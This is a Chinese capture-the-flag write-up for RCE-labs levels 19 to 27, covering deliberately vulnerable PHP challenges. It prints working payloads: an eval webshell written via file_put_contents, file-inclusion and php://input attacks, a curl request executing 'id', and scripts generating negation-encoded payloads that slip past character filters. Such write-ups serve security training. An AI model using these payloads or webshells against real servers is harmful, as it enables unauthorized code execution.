RCE-labs(下)
RCE-labs(下)
前言
WP
先把探姬佬的WP放上:
https://github.com/ProbiusOfficial/RCE-labs?tab=readme-ov-file
RCE 利用路径(Level 19-21)
Level 19: 文件写入导致的 RCE
Level 20: 文件上传导致的 RCE
Level 21: 文件包含导致的 RCE
PHP 特性利用(Level 22-26)
Level 22-23: 动态调用与自增特性
Level 24: 无参数命令执行
Level 25: 取反绕过技术
Level 26: 无字母数字的代码执行
高级技术(Level 27)
Level 27: 模板注入导致的 RCE
RCE 利用路径(Level 19-21)
Level 19: 文件写入导致的 RCE
Level 20: 文件上传导致的 RCE
Level 21: 文件包含导致的 RCE
level-19
<?php
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
--- HelloCTF - RCE靶场 : 文件写入导致的RCE ---
https://www.php.net/manual/zh/function.file-put-contents.php
参考可以写入的内容:
<?php @eval($_POST['a']); ?>
*/
function helloctf($code){
$code = "file_put_contents(".$code.");";
eval($code);
}
isset($_GET['c']) ? helloctf($_GET['c']) : '';
highlight_file(__FILE__);
?>
https://www.php.net/manual/zh/function.file-put-contents.php
不了解的话,可以直接去php官方网站学习该函数
<?php
$file = 'people.txt';
// 打开文件获取已经存在的内容
$current = file_get_contents($file);
// 追加新成员到文件
$current .= "John Smith\n";
// 将内容写回文件
file_put_contents($file, $current);
?>
由于file_put_contents
函数完全可控
存在两个利用点:
- 任意文件写入
- 直接代码执行
任意文件写入
根据函数特点,我们可以写入一句话木马到自定义文件中访问即可
?c='shell.php','<?php+@eval($_POST["cmd"]);?>');//
#进行注释避免报错
?c='shell.php','%3C%3Fphp%20%40eval(%24_POST%5B%22a%22%5D)%3B'
#注意,一定要进行url编码
直接代码执行
通过构造参数闭合原函数调用,并追加任意PHP代码
c='','');echp(`cat /flag`);//
level-20
正常文件上传
level-21
<?php
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
--- HelloCTF - RCE靶场 : 文件包含导致的RCE ---
allow_url_fopen = On
allow_url_include = On
默认全开的环境,可以尝试多种解法,若对此存有疑问,尝试去 github.com/ProbiusOfficial/PHPinclude-labs 了解更多文件包含的知识。
远程文件包含可用链接(<?php @eval($_POST['a']); ?>):
https://raw.githubusercontent.com/ProbiusOfficial/PHPinclude-labs/main/RFI
https://gitee.com/Probius/PHPinclude-labs/raw/main/RFI
FilterChain的Payload生成器:
https://probiusofficial.github.io/PHP-FilterChain-Exploit/
/exp.php
注意:在本关卡中你传递的内容将以字符串的方式拼接在 include() 函数中,你需要区别这与 incluude($_GET['file']) 的区别。
*/
function helloctf($code){
$code = "include(".$code.");";
echo "Your includeCode : ".$code;
eval($code);
}
isset($_POST['c']) ? helloctf($_POST['c']) : '';
highlight_file(__FILE__);
?>
代码分析:
支持远程文件包含(RFI)
支持本地文件包含(LFI)
支持 PHP 伪协议(如 php://input, php://filter)
LFI
直接就能包含文件
c="/flag"
php伪协议
c='php://filter/convert.base64-encode/resource=/flag'
c="data://text/plain,<?php readfile('/flag');"
Input
payload:
c="php://input"&<?php system('cat /flag'); ?>
直接利用HackBar是不能成功的
利用BP
Curl也是可以的
curl -X POST "http://80-14557d8e-0e51-42a1-bee2-1bdc9ee44f58.challenge.ctfplus.cn" -d "c='php://input'" --data-binary "<?php echo shell_exec('id'); ?>"
RFI
题目给了远程shell文件,直接包含即可执行
PHP 配置:
- allow_url_fopen = On:允许通过 URL(如 http:// 或 https://)读取远程文件。
- allow_url_include = On:允许通过 include() 执行远程 PHP 文件的代码。
RFI利用:
- 通过传参指定远程URL文件,服务器会下载并包含该文件
- 该文件被执行触发eval函数,进而执行·
$_POST['a']
中的代码,实现RCE
payload:
c="https://gitee.com/Probius/PHPinclude-labs/raw/main/RFI"&a=readfile('/flag');
直接代码执行
同19,闭合即可
c='');echo(`cat /flag`);//
PHP 特性利用(Level 22-26)
Level 22-23: 动态调用与自增特性
Level 24: 无参数命令执行
Level 25: 取反绕过技术
Level 26: 无字母数字的代码执行
level-22
动态调用
<?php
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
--- HelloCTF - RCE靶场 : PHP 特性 - 动态调用 ---
PHP 支持在运行时动态构建并且调用函数,在下面的代码中 a可以被作为函数,b可以被作为函数的参数。
try ?a=system&b=ls
*/
isset($_GET['a'])&&isset($_GET['b']) ? $_GET['a']($_GET['b']) : null;
highlight_file(__FILE__);
?>
PHP 支持 变量函数(Variable Functions)语法:
若变量后跟随 ()
,PHP 会将该变量的值作为函数名执行。例如:
// 写法1:直接变量调用
$a = 'system';
$a('id'); // 执行 system('id')
// 写法2:括号包裹变量
($a)('id'); // 同样执行 system('id')
因此,当代码中存在 $_GET['a']($_GET['b'])
时:
$_GET['a']
的值会被解析为 函数名$_GET['b']
的值会被解析为 函数的参数
形式 | 示例 |
---|---|
$a($b) |
system('id') |
($a)($b) |
(exec)('ls') |
call_user_func() |
call_user_func('system', 'id') |
对象方法调用 | $obj->$method($param) |
payload:
?a=system&b=cat /flag
level-23
自增特性
<?php
error_reporting(0);
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
--- HelloCTF - RCE靶场 : PHP 特性 - 自增 ---
可用字符:! $ ' ( ) + , . / ; = [ ] _
自增通过以下几个特性实现:
变量:
在PHP中变量以 $ 开头,后面为变量名称,PHP中变量可以是下划线 _ 开头,所以 $_ 是一个变量,$__ 则是不同的变量,就像 $a 和 $aa 一样。
数组->字符串:
在PHP中,非字符串是不能使用 . 符号进行拼接的,当你强制拼接时 PHP 会将非字符串转换为字符串:
$_ = 1; var_dump($_); var_dump($_.'');
这将会输出:int(1) string(1) "1"
但如果 $_ 是一个数组,则会被强制转换为字符串 Array 而无视数组内容。
所以 [].'' 表示在空数组后面拼接空字符串,PHP会优先转换类型,从而将数组转换为字符串 Array。
字符串:
字符串本质上是一个字符的有序序列,同C语言类似,你可以直接通过索引(或者说下标)的方式直接访问字符串中的字符。
$_ = "Hello-CTF";var_dump($_[0]);
这将会输出 string(1) "H"
所以在 $_ = ([].'')[0]; var_dump($_); 你会得到输出:string(1) "A"
自增:
这是一个编程语言中很常见的操作,我们一般在for循环会写到的语句 i++ 或者 ++i,这是一个自增操作,PHP也一样,只不过我们的变量名称不是很常见与之等效的 $_++ 或者 ++$_。
当我们对一个字符或者是字母进行自增操作时,PHP会将其转换为ASCII码,然后自增,然后再转换为字符。直观一点 A++ 将会输出 B,Z++ 将会输出 AA。++的位置决定语句的执行顺序,++在前面时会先进行自增操作。 $_ = ([].'')[0]; 在前面时输出B,后面时输出A。
所以通过特性的连用,你可以看到很多自增的Payload长这样:
payload=$_=(_/_._)[''=='_'];$_++;$__ = $_++;$__ = $_.$__;$_++;$_++;$_++;$__ = $__.$_++.$_++;$_ = $__;$__ ='_';$__.=$_;$$__[__]($$__[_]);
&__=system
&_=ls
自增题目的考点通常在Payload的长度限制,挑战关卡,让你的Payload足够短吧。
*/
highlight_file(__FILE__);
isset($_POST['code']) ? $code = $_POST['code'] : $code = null;
if(preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/", $code)){
die("WAF!");
}else{
echo "Your Payload's Length : ".strlen($code)."<br>";
eval($code);
}
?>
Your Payload's Length : 0
自增特性讲的非常好,直接上吧
用题目给的payload,进行url编码才能成功执行
不知道为啥
还有一个正则检测代码,cp到本地!!!真不错
level-24
无参数命令执行
https://www.cnblogs.com/pursue-security/p/15406272.html#_label1
https://a1andns.github.io/post/无参数函数RCE
上边两位师傅无参RCE写的都很好
<?php
include ("get_flag.php");
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
--- HelloCTF - RCE靶场 : PHP 特性 - 无参命令执行 ---
根据正则表达式的匹配规则,可以看到我们只能输入A(),这样的形式,括号中无法携带参数,但支持多个函数嵌套A(B(C())),这种形式我们称其为无参命令执行。
无参命令执行的难度首先是在于无参本身,这需要你利用一些函数特性外带参数绕过限制 —— 这可以从一些获取外部值的函数实现:
getallheaders()
session_id()
...
其次是对嵌套参数的处理 —— 当然不局限于外带进来的参数,一些诸如 localeconv() 的函数可以获取内部存在的一些参数如当前目录下面的文件信息等:
getchwd() :函数返回当前工作目录。
scandir() :函数返回指定目录中的文件和目录的数组。
dirname() :函数返回路径中的目录部分。
chdir() :函数改变当前的目录。
通常我们获取到的很多情况下是数组,所以有时候比较依赖对数组的操作,比如:
- array_reverse():数组反转
- pos():输出数组第一个元素
- next():指向数组的下一个元素,并输出
...
随后是一些文件读取显示的操作:
- show_source() - 对文件进行语法高亮显示。
- readfile() - 输出一个文件。
- highlight_file() - 对文件进行语法高亮显示。
- file_get_contents() - 把整个文件读入一个字符串中。
- readgzfile() - 可用于读取非 gzip 格式的文件
...你随时可以通过查阅PHP官方手册中函数相关的部分来找到上面类似的内容。
*/
function hello_code($code){
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $code)){
eval($code);
}else{
die("O.o");
}
}
isset($_GET['code']) ? hello_code($_GET['code']) : null;
highlight_file(__FILE__);
?>
将无参命令执行相关内容概括成表格形式:
功能分类 | 函数名称 | 功能描述 |
---|---|---|
获取外部值 | getallheaders() |
获取所有 HTTP 请求头信息 |
session_id() |
获取当前会话 ID | |
获取内部参数 | localeconv() |
获取当前区域设置的格式信息 |
getcwd() |
返回当前工作目录 | |
scandir() |
返回指定目录中的文件和目录数组 | |
dirname() |
返回路径中的目录部分 | |
chdir() |
更改当前工作目录 | |
数组操作 | array_reverse() |
反转数组 |
pos() |
输出数组的第一个元素 | |
next() |
指向数组的下一个元素并输出 | |
文件读取与显示 | show_source() |
对文件进行语法高亮显示 |
readfile() |
输出文件内容 | |
highlight_file() |
对文件进行语法高亮显示 | |
file_get_contents() |
将整个文件读入字符串 | |
readgzfile() |
读取文件(支持非 gzip 格式) |
说明:
- 无参命令执行的核心在于利用函数特性绕过无参限制,通过获取外部值或内部参数实现功能。
- 数组操作函数常用于处理获取到的数组数据。
- 文件操作函数用于读取或显示目标文件内容,常用于信息泄露或代码分析场景。
var_dump(scandir(current(localeconv())));
#array(6) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(8) "flag.php" [3]=> string(12) "get_flag.php" [4]=> string(9) "index.php" [5]=> string(7) "uploads" }
show_source(array_rand(array_flip(scandir(current(localeconv())))));
随机读取:
array_flip确保 array_rand() 返回文件名(键),而不是索引(值)。
array_rand:避免直接索引(如 scandir()[2]),随机选择文件名(键)。
颠倒键与值后,随机读取键(文件名)
level-25
取反绕过技术
<?php
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
--- HelloCTF - RCE靶场 : PHP 特性 - 取反绕过 ---
注*:推荐先完成 无参命令注入部分题目 后再来尝试这一题。
取反题目实际上就是无参命令执行的一个变种,我们可以通过取反的方式来绕过正则表达式的匹配规则,已经有成熟的脚本就不多做说明了。
脚本仓库:https://github.com/ProbiusOfficial/PHP-inversion
https://probiusofficial.github.io/PHP-inversion/
题目提供一个在线的页面脚本来辅助你完成该题目:/exp.html
*/
function hello_code($code){
if(preg_match("/[A-Za-z0-9]+/", $code)){
die("WAF!");
}
eval($code);
}
isset($_GET['code']) ? hello_code($_GET['code']) : null;
highlight_file(__FILE__);
?>
给了个在线脚本网站
https://probiusofficial.github.io/PHP-inversion/
level-26
无字母数字的代码执行
<?php
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
--- HelloCTF - RCE靶场 : PHP 特性 - 无字母数字的代码执行 ---
参考和依据的文章:https://xz.aliyun.com/t/8107
*/
highlight_file(__FILE__);
isset($_POST['code']) ? $code = $_POST['code'] : $code = null;
if(preg_match("/[a-z0-9]/is", $code)){
die("WAF!");
}else{
echo "Your Payload's Length : ".strlen($code)."<br>";
eval($code);
}
?>
下边是取反和亦或的脚本
大佬wp说还有两种方法:(1)自增自减(2)通配符
这里就不粘了,下边两种就够了
注意,Hackbar中不行,要在Bp中发送才行
//取反脚本
<?php
function negateRce($system, $command) {
$encoded_system = '';
$encoded_command = '';
// 对函数名取反并编码
for ($i = 0; $i < strlen($system); $i++) {
$not_char = ~$system[$i];
$encoded_system .= '%' . bin2hex($not_char);
}
// 对命令取反并编码
for ($i = 0; $i < strlen($command); $i++) {
$not_char = ~$command[$i];
$encoded_command .= '%' . bin2hex($not_char);
}
// 输出 payload
echo '[*] (~' . $encoded_system . ')(~' . $encoded_command . ');' . PHP_EOL;
}
// 示例:生成 system('whoami') 的 payload
negateRce('system', 'cat /flag');
?>
#(~%8c%86%8c%8b%9a%92)(~%9c%9e%8b%df%d0%99%93%9e%98);
//异或脚本
<?php
function encodeNegate($str) {
$result = [];
foreach (str_split($str) as $char) {
$result[] = '%' . sprintf("%02x", (~ord($char)) & 0xff);
}
return '"' . implode('', $result) . '"';
}
// 自定义函数和命令
$func = 'system'; // 修改为需要的函数,如 include, file_get_contents
$cmd = 'cat /flag'; // 修改为需要的命令,如 ls, cat flag.php
$payload = "\$_=~" . encodeNegate($func) . ";\$__=~" . encodeNegate($cmd) . ";\$_(\$__);";
echo $payload . "\n";
?>
#$_=~"%8c%86%8c%8b%9a%92";$__=~"%9c%9e%8b%df%d0%99%93%9e%98";$_($__);
高级技术(Level 27)
level-27
HelloCTF - RCE靶场 : PHP - 模板注入导致的RCE
@Author: 探姬
@Date: 2024-08-18 14:34
@Repo: github.com/ProbiusOfficial/RCE-labs
@Email:admin@hello-ctf.com
@Link: https://hello-ctf.com
@ModifiedFrom:idekCTF2024 - Untitled-smarty-challenge
We're using Smarty 5, with open_basedir, AND don't even pass user input directly into a template, surely this isn't insecure. Oh wait...
The Source:
require 'vendor/autoload.php';
use Smarty\Smarty;
$smarty = new Smarty();
if (isset($_GET['page']) && gettype($_GET['page']) === 'string') {
$file_path = "file://" . getcwd() . "/pages/" . $_GET['page'];
$smarty->display($file_path);
} else {
header('Location: /?page=home');
};
最后一题就算了,模版注入还不太会,去刷其他靶场了